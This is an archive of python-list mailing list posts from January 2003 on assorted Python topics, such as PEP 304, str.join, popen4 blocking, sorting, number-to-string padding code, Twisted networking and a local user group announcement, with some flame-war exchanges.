In-Reply-To: <b0bvlg$rs9$1@news.eusc.inter.net>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net>
Message-ID: <20030118165808.GB22993@meson.dyndns.org>

On Sat, Jan 18, 2003 at 05:33:39PM +0100, Daniel Dittmar wrote:
> 
> Now that there are class methods, there's no longer the need to force 
> this into a instance method call. str.join (somelist [, joinstring]) 
> does the job just fine.

  Sure, it would work, but *why*?  I don't see join as making any sense as a
class method.

  Jp

-- 
A sad spectacle.  If they be inhabited, what a scope for misery 
and folly.  If they be not inhabited, what a waste of space.
                -- Thomas Carlyle, looking at the stars
--
 12:00am up 33 days, 9:48, 4 users, load average: 0.08, 0.17, 0.17
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030118/92a5fc05/attachment.sig>

From ianb at colorstudy.com  Tue Jan 28 00:26:08 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 27 Jan 2003 23:26:08 -0600
Subject: PEP 304 - Controlling generation of bytecode files
In-Reply-To: <15925.46655.439046.717944@montanaro.dyndns.org>
References: <15925.46655.439046.717944@montanaro.dyndns.org>
Message-ID: <1043731567.29624.81.camel@lothlorien>

It would please me to not see .pyc files sitting all over the place. 
Really, it's not anal or anything -- I don't horribly mind them.  But I
know I would feel happier not seeing them, and I like feeling happy. 
This would make possible that dream of a .pyc-less world.  I know I am a
happier person for having Emacs put its ~ backups into a separate
directory -- happiness through cleanliness is not just a fantasy!  And I
was just thinking about how I didn't like .pyc files two days ago...

Of course the .pyc files would start piling up, since I wouldn't be
deleting them with the normal files.

The PEP should be unambiguous about the search path.  In particular, say
/foo shows up in the search path before /bar, and I create a file
/foo/file.py, use it and decide it should go in /bar/file.py.  I likely
won't delete /pycfiles/foo/file.pyc, but it would be *horrible* if that
outdated file got imported.  I can easily imagine tearing my hair out
for some time if that happened and I didn't notice it.

Anyway, definite +1
   ... Ian Bicking, just some guy





From just at xs4all.nl  Mon Jan  6 16:23:17 2003
From: just at xs4all.nl (Just)
Date: Mon, 06 Jan 2003 22:23:17 +0100
Subject: Who censors python-dev Summary ;-(
References: <mailman.1040207784.9877.python-list@python.org> <f85b5ab1.0301061249.3d64fa13@posting.google.com>
Message-ID: <just-E9D2AC.22231706012003@news1.news.xs4all.nl>

In article <f85b5ab1.0301061249.3d64fa13 at posting.google.com>,
 drifty at bigfoot.com (Brett C.) wrote:

> "Wiktor Sadowski" <art at wiktorsadowski.com> wrote in message 
> news:<mailman.1040207784.9877.python-list at python.org>...
> > [python-dev Summary for 2002-12-01 through 2002-12-15]
> > 1.version sent to python-dev at python.org
> > >All was right with the world, more or less.
> >  
> > >*But then Wiktor Sadowski commented on a checkin for `import.c`  and 
> >  how he
> > >would like a better way to write custom imports.*  This led to Just van
> > >Rossum to write a new import mechanism. 
> > 
> > 
> > 2.version sent to python-list at python.org
> > >All was right with the world, more or less.
> >  
> > >*But Just van Rossum didn't like the added complexity to import.c .* 
> > >This led to Just to write a new import mechanism.
> > 
> >  Looks like I am on a BlackList ;-( 
> > 
> 
> No blacklist, just a clarification of the facts.  python-dev gets a
> copy of the newest summary a day before c.l.py and c.l.py.a get one so
> as to allow the list to go over it and look for errors that I have
> made.  This happens to be one of them.  Just said that he rewrote it
> because of the added complexity to import.c, not because you made a
> comment on python-dev like I initially thought.

Wow, I hadn't seen that change, and I don't remember commenting on this 
aspect of the summary... It was a bit of both I guess, and Wiktor's idea 
certainly got me thinking. As I recall it, we were already discussing 
the problems with the previous zipimport patch. There was _lots_ of 
discussion going on and I don't feel like wading through all that 
again... Anyway: thank you Wiktor, for your contribution to the import 
discussions ;-)

Just



From yaipa at yahoo.com  Sun Jan 26 03:43:11 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 26 Jan 2003 00:43:11 -0800
Subject: Sticky Notes, which GUI toolkit supports...
Message-ID: <6e07b825.0301260043.18231335@posting.google.com>

All,

I would like to write a Sticky note application. So my question is
which GUI toolkit, if any, supports the notion of an object being
always on top.

One material note is that the toolkit must support Solaris as well as
Linux and u$oft platforms.

Yaipa.h



From tdelaney at avaya.com  Tue Jan 21 23:25:54 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Wed, 22 Jan 2003 15:25:54 +1100
Subject: max() of a list of tuples
Message-ID: <B43D149A9AB2D411971300B0D03D7E8B02ADBB42@natasha.auslabs.avaya.com>

> From: Martin Maney [mailto:maney at pobox.com]
> 
> Why not (None,None,None) as the initial value?
> 
> first saw the OP's question.  None does seem to compare as less than
> anything else (and, yeah, trying it seemed more natural than 

The ordering of comparison of None with anything else is arbitrary and has
changed over Python versions. 

In fact, except for well-defined cases (such as comparing int with float)
the comparison of an instance of any type with an instance of any other type
is undefined.

Tim Delaney




From P at draigBrady.com  Mon Jan 13 09:31:43 2003
From: P at draigBrady.com (P at draigBrady.com)
Date: Mon, 13 Jan 2003 14:31:43 +0000
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
 Minimal Python project)
In-Reply-To: <avuha2$jivd2$1@ID-114079.news.dfncis.de>
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <avuha2$jivd2$1@ID-114079.news.dfncis.de>
Message-ID: <58AU9.2671$V6.4222@news.indigo.ie>

Jeremy Yallop wrote:
> * Christian Tismer
> | While a name is most unimportant for me,
> | I agree that it *is* important for the
> | community to be able to spell it.
> | 
> | Anyone having some good suggestions?
> 
> Pygmy.
> 

SnapPy
SkimPy
PepPy
ComPy (like Compile)

(I like Pygmy the best).

P?draig.




From max at alcyone.com  Thu Jan 30 02:11:05 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 23:11:05 -0800
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net> <3E37EFC0.62499650@engcorp.com> <cF1_9.3824$wd2.301788@newsread2.prod.itd.earthlink.net>
Message-ID: <3E38D009.C9F246D0@alcyone.com>

Brandon Van Every wrote:

> Oh please fuck off.  Erik Max Francis has been in my killfile for a
> long
> time.  And now you are too: I can't stand people who read someone
> else's
> opinion and answer "You're trolling!" in order to shut it down.

I rest my case.  (Though I must say I'm impressed; he's claimed to have
killfiled me at least three times now.  Usually he "forgets" so he can
get in one more jab and claims to killfile me again ... wait, he _did_
just get in one more job.)

Let's all go to comp.lang.perl (say) and claim that their language is
_only_ satisfactory as a glue language.  Then let's call what we're
doing not trolling, just expressing our opinion.  Mmhmm, right.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I can paint a portrait of myself / I will call me a black Mona Lisa
\__/ Lamya
    CAGE / http://www.alcyone.com/pyos/cage/
 A cellular automaton simulation system in Python.



From adalke at mindspring.com  Mon Jan  6 18:45:49 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 06 Jan 2003 16:45:49 -0700
Subject: good name for a dict/list hybrid
Message-ID: <avd4ti$2jr$1@slb0.atl.mindspring.net>

I have a class which I'm calling DictList.  Its used for an ordered
dictionary which can have multiple keys, though in almost all cases
it only has single keys.  It is ordered, so I want away to get an
entry by position in the insertion order, which are integers.

This means I can't use integers as keys, which is not a problem.

Here's what it looks like

 >>> dl = DictList.DictList()
 >>> dl["Name"] = "Andrew"
 >>> dl["PubDate"] = "1975 Jun"
 >>> dl["Lang"] = "English"
 >>> print dl.keys()
['Lang', 'Name', 'PubDate']
 >>> print dl[0]
('Name', 'Andrew')
 >>> dl["Name"] = "Andrew Dalke"  # Duplicate entry
 >>> dl["Name"]                   # Only gets the first entry
'Andrew'
 >>> dl.getall("Name")            # Gets all "Name" entries
['Andrew', 'Andrew Dalke']
 >>> dl.allitems()
 >>> list(dl.allitems())
[('Name', 'Andrew'), ('PubDate', '1975 Jun'), ('Lang', 'English'), 
('Name', 'Andrew Dalke')]
 >>> del dl["PubDate"]
 >>> list(dl.allitems())
[('Name', 'Andrew'), ('Lang', 'English'), ('Name', 'Andrew Dalke')]
 >>> dl.keys()
['Lang', 'Name']
 >>>

I can't figure out what to call this thing.  I chose "DictList"
because it's a hybrid between a dictionary and a list, but that's
a bad name since it can be confused with a dictionary of lists, or
a list of dictionaries.

This sort of data structure must be common.  Eg, headers in email
act like this.  (rfc822.py provides no hints for a name.)

What should I use?

Code will be posted after I get a good name.  :)


					Andrew
					dalke at dalkescientific.com




From spatel at cinci.rr.com  Mon Jan 27 00:33:32 2003
From: spatel at cinci.rr.com (spatel)
Date: Sun, 26 Jan 2003 21:33:32 -0800 (PST)
Subject: Why does int(5.0) returns 0
Message-ID: <16455653.1043645612859.JavaMail.Administrator@atp>

glibc 2.3.1-r2 with pentium4 and -O3 optimization created this mess. When I
recompile glibc without optimization, it fix this problem. Thank you very
much for all of your help.




From Plop at plopland.be  Fri Jan  3 13:44:11 2003
From: Plop at plopland.be (Serge)
Date: Fri, 03 Jan 2003 18:44:11 GMT
Subject: help please about using python
Message-ID: <%RkR9.7529$6J1.1433260454@hestia.telenet-ops.be>

Hello,

I would like to use a program for GPS who is written in python but i know
nothing about python. Some friendly person mailed me the python program with
links and some help but i can not find out how to start the program.

Would someone help me? it would be great !

I would explain everything by e-mail.

Sorry for the faults in my english.

Regards,

Serge.

serge.scheid at pandora.be






From adalke at mindspring.com  Tue Jan 28 12:25:32 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 28 Jan 2003 10:25:32 -0700
Subject: sort by last then by first
In-Reply-To: <3E36B5BF.4060700@Linux.ie>
References: <1964c4d7.0301271648.18dba0b3@posting.google.com> <3E362DDB.2020603@hotmail.com> <sssZ9.94053$0v.2742655@news1.tin.it> <3E365531.3090909@Linux.ie> <b1607o$2iq$1@slb5.atl.mindspring.net> <3E368C10.3050000@Linux.ie> <b16b0f$as5$1@slb0.atl.mindspring.net> <3E36B5BF.4060700@Linux.ie>
Message-ID: <b16eem$u47$1@slb5.atl.mindspring.net>

Padraig at Linux.ie replied to my post:
 > I was suggesting this as a way to auto convert data that
 > was already in string format. For e.g. if importing tabular
 > data, using split, then you get all string fields. Actually
 > it would be good if you could pass to split what format the
 > fields are, something like:
 >
 > line.split('\t',4,(str,int,float,str))

 >>> line = "Spam\t-1\t9.8\tEggs"
 >>> [f(s) for f, s in zip( (str, int, float, str), line.split('\t') )]
['Spam', -1, 9.8000000000000007, 'Eggs']
 >>>

 > > Why not just write this as Python code?
 >
 > speed

which is why I suggested
] f = attr("name1").reverse() + attr("name2").as(int) + \
]        col(4).as(float).reverse()
    ....
] and for optimization you can also implement
]
] f.sort(x)
]
] which would do the fast decorate, sort, undecorate.

This should be exactly as fast as anything you can do by
special encoding of the sort parameters in the sort() call.
Maybe even faster, because they way you want it implies
there may still be O(n Log(n)) function callbacks into
Python, which is not necessarily the case with
decorate/sort/undecorate.

And potentially nicer because I can extend the system as
I wish, in Python.

So again, the answer to your question/statement:
 > wouldn't it be cool if [].sort() took an optional parameter that
 > was essentially the --key option in gnu sort. in this e.g:

is no.

					Andrew
					dalke at dalkescientific.com




From exarkun at intarweb.us  Fri Jan 24 19:49:28 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 19:49:28 -0500
Subject: popen4 doesn't block?
In-Reply-To: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net>
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net>
Message-ID: <20030125004928.GA17414@meson.dyndns.org>

On Fri, Jan 24, 2003 at 11:47:41PM +0000, Terry Hancock wrote:
> Hi,
> I've noticed that "os.popen4" (on Linux) does not block. I'm seeing side 
> effects of the process continuing after the call returns, and that's not 
> what I want. I need to wait until the sub-process is complete before 
> continuing (I think os.system does this, but then I can't get to the input 
> and output streams). How can I acheive that?
> 

    o, i = os.popen4(...)
    output = o.read()

  The call to o.read() will not return until the program's stdout has
closed.  This is almost always the same time as the program is exiting, but
it might be sooner.  You could consider a combination of os.pipe(),
os.fork(), os.execl(), and os.wait() if you need to handle programs that
close their stdout/stderr before they actually exit.

  Jp


-- 
There are 10 kinds of people: those who understand binary and those who do
not.
-- 
 up 40 days, 3:49, 4 users, load average: 0.33, 0.44, 0.53
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/695e4585/attachment.sig>

From mis6 at pitt.edu  Sat Jan 18 18:42:24 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 18 Jan 2003 15:42:24 -0800
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <7h3n0lyl3pf.fsf@pc150.maths.bris.ac.uk>
Message-ID: <2259b0e2.0301181542.5264be68@posting.google.com>

Michael Hudson <mwh at python.net> wrote in message news:<7h3n0lyl3pf.fsf at pc150.maths.bris.ac.uk>...
> mis6 at pitt.edu (Michele Simionato) writes:
> 
> > There are inconsistencies in "isinstance".
> > 
> > Example 1:
> > 
> > >>> isinstance(int,object)
> > 1
> > 
> > gives no error message. I don't like it, an error should be
> > raised.
> 
> Heck, no.  'int' is an instance of 'type'; 'type' is a subclass of
> object.

I feel stupid not having thought of that :-(

> Example 2 
> > 
> > >>> class C: pass #does *not* inherit from object
> > >>> c=C() 
> > >>> isinstance(c,object) #???
> > 1
> > 
> > It is clear that c is *not* an instance of class object: 
> 
> Yes it is: c is of type instance; instance is a subtype of object.
> 
> ->> type(c)
> <type 'instance'>
> ->> type(c).__bases__
> (<type 'object'>,)
> 
> Here type(c) != c.__class__, one of the awkwardnesses that the
> type/class unification removes.
> 
> > for example it doesn't have the __new__ attribute:
> > 
> > >>> c.__new__
> > Traceback (most recent call last):
> >   File "<stdin>", line 1, in ?
> > AttributeError: C instance has no attribute '__new__'
> 
> However:
> 
> ->> type(c).__new__
> <built-in method __new__ of type object at 0x80f2380>
> 
> Objects/classobject.c:instance_getattr looks in c.__class__.
> 
> This function isn't much use, it seems.

Here I don't feel stupid; I didn't know that. You are saying essentially
that c *does* inherit __new__ from object, but it cannot be accessed with
c.__new__ due to an implementation detail (i.e. getattr looks for __class__
which is not there); it can be accessed via type(c) anyway.
This is an inconsistency of old style classes: they inherits from object
but you cannot access object methods in the usual way.

Thanks to everybody for the explanations,

                           Michele



From peter at engcorp.com  Sat Jan 11 12:57:22 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 11 Jan 2003 12:57:22 -0500
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com>
Message-ID: <3E205B02.3F201C08@engcorp.com>

Bubba wrote:
> 
> On Sat, 11 Jan 2003 15:39:45 +0100, Laura Creighton <lac at strakt.com>
>  wrote:thers is no traceback. I'm running XP as admin. Ran it in the
> cmd window. Only error is the syntax error previously posted

If Python gave you a "syntax error", there *is* a traceback... 
At the very least, there is something that looks like this:

  File "<stdin>", line 2
    from distutils.core import setup
                                    ^
SyntaxError: invalid syntax


What we need is for you to cut and paste *exactly* the message you
are getting from your cmd window into the email message, rather than
just retyping "syntax error".  

With that, we'll have some confidence that you aren't just talking 
about an import error, or an XP problem, or something else that
isn't really a syntax error...

-Peter



From andersjm at inbound.dk  Thu Jan  2 12:38:54 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Thu, 2 Jan 2003 18:38:54 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e145c1e$0$71692$edfadb0f@dread11.news.tele.dk> <3e146ab0_3@news.bluewin.ch>
Message-ID: <oP_Q9.23115$Hl6.2417254@news010.worldonline.dk>

"Samuele Pedroni" <pedronis at bluewin.ch> wrote:
> > The problem is that designs that take full advantage of multimethods
> > are all too often bad.
>
> The problem is that designs that take full advantage of X are all too
often
> bad.

Whatever you're trying to say here, I don't get it.

> [I don't find the counter-analysis of the dull example particularly
> convincing, super and inheritance are easely abused also with single
> dispatch]

Suit yourself.  I have no particular need to convince you; I used the
example for illustration, not as evidence.

- Anders






From mertz at gnosis.cx  Tue Jan  7 13:20:08 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 07 Jan 2003 13:20:08 -0500
Subject: Python vs .Net (
Message-ID: <YpxG+kKkXUzH092yn@gnosis.cx>         

"Etienne Charland" <mystery at golden.net> wrote previously:
|Some work is done to make .NET cross-platform: MONO
|www.go-mono.com

I do hope everyone knows that it is not a question of IF, but WHEN,
Microsoft will decide to sue MONO out of existence.

The whole thing smells of usual MS dirty tricks... they have released
just enough of API details to allow Ximian to waste time on implementing
MONO.  But MS has kept many parts of the API as trade-secrets, and has
wrapped much of the documented API in patents.

MS's goal here is to maintain an official face that ".NET" is
cross-platform and open.  But as soon as MONO has any success at all, MS
*will* pour millions of dollars into lawyers to claim patent violations
in MONO (and maybe trademark, copyright, trade-secret) issues.  Those
lawyers *will* get restraining orders against the distribution of MONO,
effectively killing the project.  Of course semi-underground copies of
MONO will still exist, but not any effective development project; and if
Ximian isn't outright bankrupted, they might eventually win in court,
many years after the APIs have gone somewhere else altogether.

Yours, Lulu (a soothsayer)...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From maxm at mxm.dk  Thu Jan  9 04:51:39 2003
From: maxm at mxm.dk (Max M)
Date: Thu, 09 Jan 2003 10:51:39 +0100
Subject: Dilbert on eXtreme programming - LOL
Message-ID: <OAbT9.32394$Hl6.3345188@news010.worldonline.dk>

Enjoy ...

http://www.dilbert.com/comics/dilbert/archive/dilbert-20030109.html

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From clspence at one.net  Thu Jan 16 14:38:38 2003
From: clspence at one.net (Chris Spencer)
Date: 16 Jan 2003 13:38:38 -0600
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com> <mailman.1042682272.26642.python-list@python.org> <6k5c2vcjc2c565orhe5s21o12hllhe0rbm@4ax.com> <_uqV9.4336$qU2.1077@news1.central.cox.net>
Message-ID: <152e2vgi4837q46ttspctbcfdgm3f2lmor@4ax.com>

	Okay, I came up with a solution, and my boss refined it (it's nice to
have a boss that "gets it"), and I took it and refined it some more.  Pasted
below is the solution to this whole problem.
	Note that "".zfill(16) *is not implemented* in the basic string type
methods, but is implemented in the string module.  Interesting, that.  So
instead of importing the string module, I just rewrote zfill.
	I'm posting this here in the hopes that no one else will ever have to
solve this problem again.

Chris.

def zfill(s_Value,i_Padding,i_Ljust=1,s_Padchar="0"):
	"""Take a string value and pad it out with a specified character.  If
the string is longer than the padding, the whole string will be returned.

Parameters:
	s_Value - The string value to be padded out.

	i_Padding - The number of spaces to be padded.

	i_Ljust - Whether the padding should be to the left of the string or
not.  Set to 0 to pad out to the right side of the string.  Defaults to padding
out the left-hand side of the string.

	s_Padchar - The character used for padding. This will only use the first
character in the pad string as the padding character. Defaults to "0".

Return Values:
	The string, padded out to the length specified with the padding
character.  If s_Value is longer than the padding, s_Value will be returned
unchanged.

Exceptions:
	None
	"""
	if len(s_Padchar): s_Padchar=s_Padchar[0]
	if i_Ljust: return s_Padchar*(i_Padding-len(s_Value))+s_Value
	return s_Value+s_Padchar*(i_Padding-len(s_Value))

def int2binary(i_IntVal):
	"""Take an integer/long value and return a hexidecimal representation of
it as a string.  Used in situations where a number MUST be represented as a
string, but comparison operations on it need to succeed as well.

Parameters:
	i_IntVal - The number to be processed.

Return Values:
	A hexidecimal representation of the value.

Exceptions:
	None
	"""
	i_IntVal=long(i_IntVal)
	return zfill(hex(2**63 + i_IntVal)[2:-1],16)

def float2binary(f_FloatVal):
	"""Take a floating point value and return a hexidecimal representation
of it as a string.  Used in situations where a number MUST be represented as a
string, but comparison operations on it need to succeed as well.

Parameters:
	f_FloatVal - The number to be processed.

Return Values:
	A hexidecimal representation of the value.

Exceptions:
	None
	"""
	fval=float(f_FloatVal)
# turn the fraction into a negative value
# if the whole number is a negative value
	if fval<0.0: neg=-1
	else: neg=1
# split the floating point value into 2 strings
# the whole number, and the fractional part.
	parts=`fval`.split(".")
	parts[0]=long(parts[0])
# cap the precision to 15 decimal places
# fill any remaining spaces with 0s
	parts[1]=neg*long(zfill(parts[1][:15],15,0))
	return int2binary(parts[0])+"."+int2binary(parts[1])

On Thu, 16 Jan 2003 04:25:30 GMT, "Jeff Hinrichs" <jlh at cox.net> wrote:
>[...snip...]
>> Programming is about solving problems.  I asked a programming question
>> with a certain number of constraints as to what the solution could be.  I
>do NOT
>> think it's off topic for this newsgroup just because you don't like the
>> constraints.  If you can't help me, that's okay.  But please don't flame
>me.
>>
>> Chris.
>The solution to your problem falls back to older language implementation of
>similiar
>constraints (ala COBOL/ISAM) you must define all numeric fields.
>-0000000001.00000
>+0000000000.00000
>+0000000001.00000
>All fields will have to be padded.  You can convert them to what ever format
>when you present them
>to the user but in the DB they must all be the same length, storing the
>decimal isn't necessary but you will
>have to define how many there are when you store and retrieve.  All numbers
>must carry signs if negatives
>are possible.  You won't be able to store arbitrary precision or size.  This
>will allow you to index and
>compare them the way that you want.  You convert with a function like
>
>def cvtString2Float(dec=5,places=10, stringValue):
>    # Here you whack away with stringValue[] to get sign, value right of
>decimal, value left of and then cast and return
>    return floatValue
>
>going the other way:
>
>def cvtFloat2String(dec=5,places=10,floatValue):
>   # left as exercise for reader
>  return stringValue
>
>I've worked on junk like this before and if there was a better way I haven't
>met a grey hair/beard that knew how.<g>
>have fun!
>




From peter at engcorp.com  Sun Jan 26 23:00:46 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 23:00:46 -0500
Subject: PyGTA Announcement: next meeting is Thursday February 18, 8-10 pm
Message-ID: <3E34AEEE.F1251D02@engcorp.com>

We're pleased to announce that the next meeting of PyGTA, the 
Toronto-area Python and Zope user group, will be on Thursday February 18.
(We're sorry to have missed January, but we will have a regular
monthly booking at our venue from this point on.)

It will be held at the 519 Church St. Community Centre,
near Wellesley, from 8 to 10 p.m.  This is the same location
as last time, but PLEASE NOTE that the meeting this time will
be held in the Auditorium, and NOT in room 23 as before.

Please visit http://web.engcorp.com/pygta/wiki/NextMeeting
for other details of the meeting.  As usual, there is an open
invitation to everyone to come and present for 5-10 minutes on your 
own Python activity if you believe it will be of interest to others...
just let us know ahead of time so we can leave time for it.

Also, if you are not already receiving this message through the 
announcement mailing list, visit the wiki at 
http://web.engcorp.com/pygta/wiki/MailingLists to find how to 
subscribe to it, or to the general discussion list.

We'll send a reminder closer to the meeting date, with details
of speakers (when available).

-Ian Garmaise and
 Peter Hansen,
 PyGTA organizers



From devrim at machsim.com  Mon Jan 27 10:30:51 2003
From: devrim at machsim.com (Devrim Erdem)
Date: 27 Jan 2003 07:30:51 -0800
Subject: Simultaneous PyRun_SimpleFile's
Message-ID: <b2f253f2.0301270730.6064224c@posting.google.com>

I have an application in which I have placed a python interpreter. I
would like to run several python script files at the same time.
Naturally they will run in a thread. I have thought about two ways of
doing this.

Either 
======
Run a file in a C thread.

Or
===
Run each file in a Python thread

For simplicty I would prefer c threads, but I am not sure if the
interpreter can run two PyRun_SimpleFile functions at the same time.

Thanks in advance,

Regards,



From abelikov72 at hotmail.com  Sat Jan 18 07:25:15 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Sat, 18 Jan 2003 12:25:15 GMT
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com> <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>
Message-ID: <95ii2vog1ammovhj7v9d93f74clf6fkjlq@4ax.com>

On 18 Jan 2003 12:55:08 +0100, martin at v.loewis.de (Martin v. L?wis)
wrote:

>Afanasiy <abelikov72 at hotmail.com> writes:
>
>> How is it expected I create overloaded methods/functions in the C API?
>
>This is not possible. Overloading of methods is not supported in Python.

As a matter of principle?



From gerhard.haering at opus-gmbh.net  Thu Jan 23 08:33:10 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 23 Jan 2003 13:33:10 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net> <FVRX9.477$0L3.218162@news2.news.adelphia.net>
Message-ID: <slrnb2vrnh.a0.gerhard.haering@haering.opus-gmbh.net>

Robert Oschler <Oschler at earthlink.net> wrote:
> "Gerhard H?ring" <gerhard.haering at opus-gmbh.net> wrote in message
> news:slrnb2tj3u.os.gerhard.haering at haering.opus-gmbh.net...
> Gerhard,
> 
> While I'm working on my Python email client, which will take quite some
> time, I'm getting up to speed on Ximian.  You mentioned a problem with my
> current email client (OE) with the "reference line" and the way it quotes.
> Can you give me specifics so I can look out for these things when I'm
> configuring Ximian's email client?

The problem is that yours is not a reference *line*, but rather a novel ;-)

I'd recommend you only include real name and maybe email address and date.

Putting the referenced message id in the reference line (like your OE does by
default) hardly makes sense, as this information can easily be fetched from the
In-Reply-To or References headers anyway if the need is there.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From cnetzer at mail.arc.nasa.gov  Sat Jan  4 21:15:05 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Sat, 4 Jan 2003 18:15:05 -0800
Subject: Distributing Python apps
In-Reply-To: <aMLR9.8636$8M3.1445703@news20.bellglobal.com>
References: <aMLR9.8636$8M3.1445703@news20.bellglobal.com>
Message-ID: <200301050215.SAA14816@mail.arc.nasa.gov>

On Saturday 04 January 2003 17:21, Norman Skrzypinski wrote:

> In the end, I request that you very capable Python experts give me a way to
> give my customers a 750 KB app.
>
> That's not too much to ask, I think.  It's been done, by every other major
> software company.

Well, FWIW, I think the developers are currently working on allowing packages 
to be compressed (with zip, or maybe even tar+gzip).  That could help a lot.  
I've never tried to compile a minimal python distribution to see how small it 
can get.  Are you averse to distributing a compressed installer, if it could 
be made that small?  If not, you are probably out of luck, as the goals of 
the developers just do not steer in the direction of a minimizing 
distribution size.  Is this for embedded work?

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From exarkun at intarweb.us  Fri Jan 17 14:56:10 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 17 Jan 2003 14:56:10 -0500
Subject: Socket communications
In-Reply-To: <cb035744.0301170757.751af42d@posting.google.com>
References: <b06df6$ls2ug$1@ID-145579.news.dfncis.de> <uded2vogmj50s1bgpl54qc9c6nifrostpg@4ax.com> <b06eo8$m0u70$1@ID-145579.news.dfncis.de> <mailman.1042737271.17390.python-list@python.org> <cb035744.0301170757.751af42d@posting.google.com>
Message-ID: <20030117195610.GA20487@meson.dyndns.org>

On Fri, Jan 17, 2003 at 07:57:51AM -0800, Will Stuyvesant wrote:
> [Jp Calderone]
> > Twisted makes implementing this kind of protocol trivial.
> > 
> > (Untested code)
> > ...
> 
> Posting untested code is a demonstration of how much confidence you
> have in the modules you use.  

  It could just be that I was too lazy to take the time to test it, too. ;)

> But your example could use some
> explanations....like what does ``reactor`` do, and how about
> ``protocol``.

  Indeed!  In brief: transports (never explicitly used in the example) move
bytes around; protocols are given bytes and have the job of making sense of
them; factories instantiate new protocol objects when new connections are
made, and handle cleanup when they are lost; the reactor drives everything,
it is used to start servers listening and clients connecting, and contains
the mainloop function - reactor.run - the only function in Twisted that
blocks for any length of time.  For more details, these urls might be
interesting:

 http://twistedmatrix.com/documents/howto/reactor-basics
 http://twistedmatrix.com/documents/howto/servers
 http://twistedmatrix.com/documents/howto/clients

> Another thing is that on first sight your code is going to crash on an
> "unknown identifier ``port``" error but that one should be just an
> integer for the port number I guess.

  Yep.  host was left undefined (though commented out) as well ;)  Filling
